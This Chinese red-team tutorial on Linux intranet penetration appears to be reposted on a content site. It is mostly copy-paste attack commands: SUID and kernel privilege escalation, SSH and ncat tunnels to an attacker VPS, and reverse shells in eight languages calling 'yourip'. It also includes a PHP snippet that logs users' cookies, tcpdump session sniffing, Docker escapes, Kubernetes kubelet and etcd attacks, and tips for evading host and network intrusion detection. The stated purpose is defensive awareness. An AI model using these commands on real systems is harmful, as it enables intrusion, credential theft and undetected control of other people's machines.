微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

红蓝对抗 linux内网渗透

目录

一、前言

二、提权

2.1 利用内核漏洞进行提权

2.2 利用文件权限配置不当进行提权

2.3 利用SUID程序进行提权

三、隧道

3.1 SSH

3.2 nc/ncat

3.3 portmap

3.4 portfw

四、反弹shell

4.1 bash 

4.2 netcat

4.3 php

4.4 perl 

4.5 python

4.6 ruby 

4.7 telnet 

4.8 openssl 加密

4.9 完全交互式shell

五、登录态

5.1 tcpdump

5.2 网站文件

六、云安全

6.1 docker

6.2 kubernetes

七、IDS

7.1 HIDS

7.2 NIDS

八、工具化

总结


一、前言

上篇内网渗透(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。

1607689980_5fd366fcca31553bd9d6f.png!small

在服务器方面,Linux由于开源、稳定、灵活、社区支持等因素,市场占有率远比Windows大,并且广大业务逐步上云使用docker容器等原因,所以Linux渗透攻击也是蓝军极为常见和必备的技能。

本文将以蓝军攻击视角,介绍常用的Linux内网渗透的手法,包括提权、隧道、反弹shell、登录态、云安全和工具化,主要让大家了解内网渗透的手法和危害,以攻促防,希望能给安全建设带来帮助。

二、提权

Linux不像Windows有那么多的提权EXP,不会动不动就出现各种烂土豆系列,因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。

2.1 利用内核漏洞进行提权

脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。

这里以写文件的手段来演示下该漏洞利用方法

本次漏洞环境如下:

1607690053_5fd36745ab376913e962d.png!small

根目录下存在test.txt:

1607690193_5fd367d1d0ca31737e714.png!small

普通用户只能查看而不能修改

MTY4ODg1MDUyMzkwNjgxOQ_406154_jBxQ0oXLnZ2bx7BD_1607663457?sign=1607688324-764694269-0-46de022ee5c0e984117f83ab85181963

利用EXP成功写入文件到只读文件中:

1607690224_5fd367f07eb7198ba7bce.png!small

附上该漏洞的POC集/合地址:

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

 

笔者不太喜欢用此类EXP,包括Window上的溢出类漏洞,因为此类漏洞有可能会导致系统崩掉,对于客户环境、敏感系统还是慎用。

针对此类漏洞有些同学会有如下疑问:

Q:为什么我执行以后会卡死?

A:尝试使用反弹的方式,即交互式/半交互式的方法进行。

2.2 利用文件权限配置不当进行提权

当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。

pspy(附录2)工具提供了普通用户权限即可监听进程信息,该工具原理很简单,循环遍历/proc下的值来获取进程参数信息:

1607690256_5fd368105b912ae9047a7.png!small

如果我们设置hidepid,该工具就会失效,如:

mount -o remount,rw,hidepid=2 /proc

该工具就什么输出都不会有,或者只有问号:

1607690285_5fd3682d8cd3b1695e93a.png!small

1607690540_5fd3692cea7ba15d3e554.png!small

这里我们使用pspy作为辅助演示(当没设置hidepid时)。

前期准备中,首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:

1607690552_5fd36938298fb3e1ec102.png!small

尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:

1607690562_5fd369427d39c5b9da27a.png!small

我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:

1607690572_5fd3694cef3d122c70952.png!small

发现成功提权,以ROOT权限启动自定义命令:

1607690583_5fd3695761021639a9bc8.png!small

2.3 利用SUID程序进行提权

当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。

首先/tmp/test存在如下文件

1607690597_5fd369659a923fcc900f7.png!small

正常执行结果如下:

1607690627_5fd369835110ff61bb541.png!small

当设置SUID时,执行结果如下:

chmod +s ./test

 

1607690644_5fd36994e1bb04a4698da.png!small

1607690654_5fd3699ea933f5f757cb1.png!small

执行结果依然是当前用户,为何?

这是因为在高版本Linux(附录3)中,如果启动bash的的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。即如果就算有S位,但没有使用-p参数,则最终执行的权限依然是当前用户的权限。

可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果

#include<stdlib.h>

main()

{

setuid(0);

system("whoami > /tmp/test.txt");

}

 

1607690672_5fd369b093d5386ae1ac0.png!small

我们可以使用如下命令来寻找服务器上设置了SUID的应用程序:

find / -perm -u=s -type f 2>/dev/null

 

1607690689_5fd369c1c1633da294119.png!small

下面列举几个常见的设置了SUID的应用程序提权手段。

  • nmap

nmap --interactive

!sh

 

  • find

find . -type f -exec /bin/bash \;

 

  • awk

awk 'BEGIN {system("/bin/bash")}'

 

  • strace

strace -o/dev/null /bin/bash

 

 

三、隧道

Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。

3.1 SSH

Linux上耳熟能详的就是SSH了,我们来看下SSH常用的开启隧道的命令。

  • 场景a:在控制A机器时,利用socks代理进入A机器所在内网

ssh -qTfnN -D 1111 root@AIP

 

输入A机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。

  • 场景b:如果控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C

A机器执行:

ssh -CNfg -L 2121:CIP:21 root@BIP

 

输入BIP机器密码,访问A机器的2121端口即是访问CIP的21端口。

  • 场景c:控制A机器,A能够访问B

A机器执行:

ssh -CNfg -R 2121:BIP:21 root@hackervps

 

输入黑客VPS密码,访问黑客VPS的2121端口即是访问BIP的21端口。

3.2 nc/ncat

服务端执行监听命令:

ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open

 

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

 

3.3 portmap

服务端执行:

portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22

 

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

 

3.4 portfw

服务端执行:

tcpfwd 0.0.0.0:443 127.0.0.1:22

 

客户端连接服务端的443端口即可SSH连接:

SSH root@serverip -p 443

 

四、反弹shell

Linux上也存在一些自带命令/工具,来进行反弹shell得到一个(非)交互式shell。

下述命令中的yourip为攻击者监听的ip;yourport为攻击者监听的端口。

4.1 bash 

bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'

 

4.2 netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc yourip yourport >/tmp/f

 

4.3 PHP

PHP -r '$sock=fsockopen(getenv("yourip"),getenv("yourport"));exec("/bin/sh -i <&3 >&3 2>&3");'

 

4.4 perl 

perl -e 'use Socket;$i="$ENV{yourip}";$p=$ENV{yourport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

4.5 python

python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("yourip"),int(os.getenv("yourport")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")'

 

4.6 ruby 

ruby -rsocket -e 'exit if fork;c=Tcpsocket.new(ENV["yourip"],ENV["yourport"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

 

4.7 telnet 

TF=$(mktemp -u); mkfifo $TF && telnet yourip yourport 0<$TF | /bin/sh 1>$TF

 

4.8 openssl 加密

服务端生成证书:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

 

服务端监听:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

 

受控端执行:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect yourip:yourport > /tmp/s; rm /tmp/s

 

4.9 完全交互式shell

attack端执行:

stty -echo raw; nc -lp yourport; stty sane

 

victim端执行:

nc -c '/bin/bash -c "script /dev/null"' yourip yourport

 

现在ctrl+c也不会退出

1607691211_5fd36bcb4c3a3cbb251c0.png!small

五、登录

现在越来越多的系统接入SSO、零信任,用户友好度提升了,但是也伴随了大量风险,比如如果单点故障了怎么办。其他安全风险呢?如果我们拿下其中一台可信服务器的权限,是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标?

5.1 tcpdump

tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点

下面是抓取http数据包的命令示例

tcpdump -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

 

5.2 网站文件

除了使用抓包工具去进行敏感信息的抓取,我们还可以在网站本身去做一下手脚。

比如网站是PHP的,那我们可以在配置文件文件中,插入恶意代码获取Cookie等信息,下面是代码示例

<?PHP

$fp = fopen('/var/www/html/cookies.txt','a');

fwrite($fp,json_encode($_COOKIE).PHP_EOL);

fclose($fp);

 

六、云安全

现在越来越多的业务开始上云,使用容器部署业务,那随之而来的也是对应的安全风险,包括不限于未授权访问、命令执行等漏洞。

6.1 docker

6.1.1 判断是否是docker环境

  • 进程数很少,比如少于10

1607691280_5fd36c10301226508694d.png!small

  • 常见的命令却没有,如没有wget命令

1607691298_5fd36c221c1cc7f204cd2.png!small

1607691321_5fd36c39a57bab94e79a0.png!small

  • /proc/1/cgroup内包含"docker"字符

1607691347_5fd36c53a9b7030026a02.png!small

6.1.2 逃逸

逃逸是指我们在容器中逃逸到宿主机中。

6.1.2.1 特权容器

当容器是以特权启动时,docker将允许容器访问宿主机上的所有设备。

如下容器是进行特权启动(docker run --privileged)的,我们可以把宿主机磁盘挂载进容器里,然后进行相关的逃逸操作,包括不限于更改计划任务、文件

fdisk -l|grep /dev/vda1

mkdir /test

mount /dev/vda1 /test

chroot /test

 

1607691363_5fd36c634ef0d2c971bae.png!small

6.1.2.2 Docker Socket

/var/run/docker.sock文件是Docker守护进程认监听的Unix域套接字,容器中的进程可以通过该文件与docker守护进程进行通信。

1607691378_5fd36c7287a9fc9b34aed.png!small

当攻击者可控的容器内挂载了该文件,我们也可以对其进行逃逸。

首先我们用如下命令创建一个特权测试容器:

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock d6e46aa2470d

 

比如我们控制了上述容器,并发现其挂载了docker.sock:

1607691393_5fd36c812f9cc92f648ee.png!small

那么我们可以利用/var/run/docker.sock创建特权容器(附录5):

docker -H unix:///var/run/docker.sock pull alpine:latest

docker -H unix:///var/run/docker.sock run -d -it --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest

docker -H unix:///var/run/docker.sock start rshell

docker -H unix:///var/run/docker.sock exec -it rshell /bin/sh

 

最终发现逃逸成功:

1607691407_5fd36c8f58467995206bb.png!small

6.1.2.3 脏牛

利用漏洞章节处的脏牛漏洞提权也可以达到逃逸目的,这里不重复演示。

POC地址:

https://github.com/scumjr/dirtycow-vdso

 

6.1.3 未授权访问

认端口为2375的Docker Remote API对外未授权开放时,攻击者可以利用该漏洞进行getshell。

a、未授权攻击测试过程:

获取所有images列表:

curl http://host:2375/containers/json

 

获取运行中的容器:

docker -H tcp://host:2375 ps

 

b、getshell过程:

获取镜像:

docker -H tcp://host:2375 images

 

根据镜像创建容器,把宿主机根目录挂载到容器中:

docker -H tcp://host:2375 run -it -v /:/mnt/ image_id /bin/bash

 

创建容器后没自动进入容器的话,可以利用ps查看创建容器的CONTAINER ID:

docker -H tcp://host:2375 ps

 

然后进入容器:

docker -H tcp://host:2375 exec -it CONTAINERID sh

 

认执行命令只能看到容器内的:

1607691445_5fd36cb57561992d2a015.png!small

进入到挂载进来的磁盘中,并切换根目录,则可以看到宿主机进程:

chroot /mnt sh

 

1607691468_5fd36ccc4bdc230a9b5db.png!small

因为挂载把宿主机根目录挂载到了容器中的/mnt目录中,就再次回到了上述逃逸的攻击手段了,其他就不再赘述。

6.2 kubernetes

kubernetes简称k8s,简单理解是拿来自动化部署容器、管理容器的框架。

6.2.1 API Server攻击

当我们获取到admin token时,可以操作API Server来控制集群。

curl -H "Authorization: Bearer $TOKEN" $APISERVER/api --insecure

 

也可以把admin token放置在~/.kube/config文件中,然后利用命令行工具进行后续操作:

kubectl get namespaces

kebectl get pods -n {namespaces}

kubectl exec -it -n {namespace} {podname} /bin/sh

 

6.2.2 kubelet 10250端口攻击

10250端口是kubelet API的HTTPS端口,该端口提供了pod和node的信息,如果该端口对外开放,攻击者可以利用公开api来获取敏感信息,甚至执行命令。

curl -k https://host:10250/pods

 

1607691494_5fd36ce65fb255bf5f772.png!small

根据上述获取到的信息在容器中执行命令:

curl -Gks https://host:10250/exec/{namespace}/{podname}/{containername} \

-d 'input=1' -d 'output=1' -d 'tty=1' \

-d 'command=whoami'

 

上述命令得到websocket地址,连接websocket得到命令结果:

wscat -c "https://host:10250/websocket" --no-check

 

获取到admin token后,也可以利用该服务端口在pod中执行命令:

curl -k -H "Authorization: Bearer $TOKEN" https://host:10250/run/{namespace}/{podname}/{containername} -XPOST -d 'cmd=whoami'

 

6.2.3 etcd 2379端口攻击

etcd中存放着k8s集群数据,如果可以成功访问该服务端口,则可以获取集群中的敏感信息,包括k8s secrets、admin token、AKID等。

etcdctl --endpoints=https://host:2379 ls

 

带着cert访问etcd:

etcdctl --endpoints=https://host:2379 --cacert=ca.crt --key=etcd.key --cert=etcd.crt endpoint health

 

七、IDS

本章介绍的IDS包括HIDS和NIDS。

7.1 HIDS

HIDS涉及到如何绕过服务器上的agent。

业务服务器上认都部署了agent,如何绕过这些agent也是一个很大的学问。这些agent常常会hook execve来获取和判断执行的命令是否恶意。

这里有几个思路和大家一起讨论:

  • 滞空LD_PRELOAD来绕过用户态的hook,busyBox同理

  • 利用代码来执行命令

  • 利用ptrace进行日志混淆

  • 关闭或致盲agent通信

7.2 NIDS

NIDS涉及到如何绕过网络设备进行扫描。

在内网渗透中,我们会使用nmap去做网络探测,而nmap自带的一些特征会导致被安全设备识别和拦截。因此我们需要对nmap做一些修改,比如更改nselib/http.lua,把nmap字样删除

1607691518_5fd36cfe046d8e40e1243.png!small

tcpip.cc更改windows窗口大小:

1607691529_5fd36d09331f4f1a66b1c.png!small

nselib/rdp.lua更改3389 cookie:

1607691542_5fd36d16950cff64c4c6e.png!small

也可以利用ipv6进行绕过(附录6)。

也可以利用curl进行简单的探测,curl能获取banner信息:

1607691554_5fd36d226f98a88bb12ca.png!small

八、工具化

当我们拿下跳板机/堡垒机此类服务器权限时,上面可用的命令少之又少,甚至连whoami都没有!因此我们需要编写一些适用的小工具来帮我们完成一些指定的工作,包括curl(附录7)、反弹shell:

1607691567_5fd36d2f50617d6ee82a8.png!small

总结

内网渗透博大精深,进入内网如何在不被发现的情况下快速获取目标权限也是重中之重,本系列的文章也只是抛砖引玉。腾讯蓝军也会持续和大家分享更多攻防知识,希望能够和大家共同成长,提高整体红蓝对抗水平。

文中涉及的技术信息,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐